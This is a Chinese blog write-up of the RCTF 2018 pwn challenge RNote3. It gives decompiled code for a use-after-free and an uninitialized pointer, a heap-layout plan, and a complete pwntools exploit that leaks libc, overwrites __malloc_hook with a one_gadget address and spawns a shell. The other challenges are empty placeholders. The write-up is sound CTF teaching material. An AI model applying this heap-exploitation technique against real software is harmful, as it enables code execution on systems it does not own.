rctf2018剩余题复现

周日的时候就看了 babyheap,所以今天就把剩下的题看了,之后打算把今年的比赛都复现一遍,

RNote3

程序分析

程序中存在一个类似于如下的结构体

1
2
3
4
5
6
struct note
{
char title[8];
int size;
char *content;
};

漏洞点存在与 delete_note 函数中,如下, ptr->contentfree 后没有被置空,造成 use after free

1
2
3
free(ptr->content);
free(ptr);
qword_202060[i] = 0LL;

还存在一个栈变量未初始化,之前一直没看到,看别人写的才发现,如下 ptr 在使用之前没有初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 delete_a_note()
{
signed int i; // [rsp+4h] [rbp-1Ch]
struct note *ptr; // [rsp+8h] [rbp-18h]
char s1; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("please input note title: ");
read_by_n((__int64)&s1, 8u);
for ( i = 0; i <= 31; ++i )
{
if ( qword_202060[i] && !strncmp(&s1, qword_202060[i], 8uLL) )
{
ptr = (struct note *)qword_202060[i];
break;
}
}
if ( ptr )
{
free(ptr->content);
free(ptr);
qword_202060[i] = 0LL;
}
else
{
puts("not a valid title");
}
return __readfsqword(0x28u) ^ v4;
}

利用方法

构造如下堆,通过栈未初始化变量删除 chunk 3,泄漏 top chunk地址,之后 delete chunk 2,然后重新分配一个 name 大小为 24note, 使 name 重用 chunk 3note,修该 chunk 3name 指针到 malloc hook,之后 edit chunk 3,使 malloc_hook 赋值为 one_gadget, md 又遇到程序 one_gadget 与程序上下文不符的情况, abort 真是个好东西

1
2
3
4
5
6
7
8
9
+------------+
| 1 | small bin 160
+------------+
| 2 | fastbin 32
+------------+
| 3 | small bin 160
+------------+
| 4 | small bin 160
+------------+

利用脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level = 'debug'
def add_new_note(p, title, size, content):
p.sendline("1")
p.recvuntil("title: ")
p.sendline(title)
p.recvuntil("size: ")
p.sendline(size)
p.recvuntil("content:")
p.sendline(content)
def view_a_note(p, title):
p.sendline("2")
p.recvuntil("title: ")
p.sendline(title)
p.recvuntil("content: ")
return p.recv()
def edit_a_note(p, title, content):
p.sendline("3")
p.recvuntil("title: ")
p.sendline(title)
p.recvuntil("content: ")
p.sendline(content)
def delete_a_note(p, title):
p.sendline("4")
p.recvuntil("title: ")
p.sendline(title)
def exploit(p):
p.recvuntil("\n")
add_new_note(p, "A", '160', 'A'*10)
add_new_note(p, "B", '32', 'B'*10)
add_new_note(p, "C", '160', 'C'*10)
add_new_note(p, "D", '160', 'D'*10)
'''
leak libc
'''
view_a_note(p, 'C')
delete_a_note(p, '12')
top_chunk = u64(view_a_note(p, '\x00')[:6].ljust(8,'\x00'))
log.info("Successed leak top chunk address 0x%x", top_chunk)
libc_base = top_chunk - 0x3c4b78
log.info("Successed leak libc address 0x%x", libc_base)
one_gadget = libc_base + 0xf02a4
malloc_hook = libc_base + 0x3c4b10
delete_a_note(p, 'B')
payload = p64(0x434241) + p64(0x21) + p64(malloc_hook)
add_new_note(p, 'E', '24', payload)
edit_a_note(p, "ABC", p64(one_gadget))
delete_a_note(p, 'ABC')
p.interactive()
if __name__ == '__main__':
if len(sys.argv) > 1:
p = remote("rnote3.2018.teamrois.cn", 7322)
else:
p = process('./RNote3')
exploit(p)

simulator

1
//TODO

RNote4

1
//TODO

stringer

1
//TODO

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. RNote3
    1. 1.1. 程序分析
    2. 1.2. 利用方法
  2. 2. simulator
  3. 3. RNote4
  4. 4. stringer
,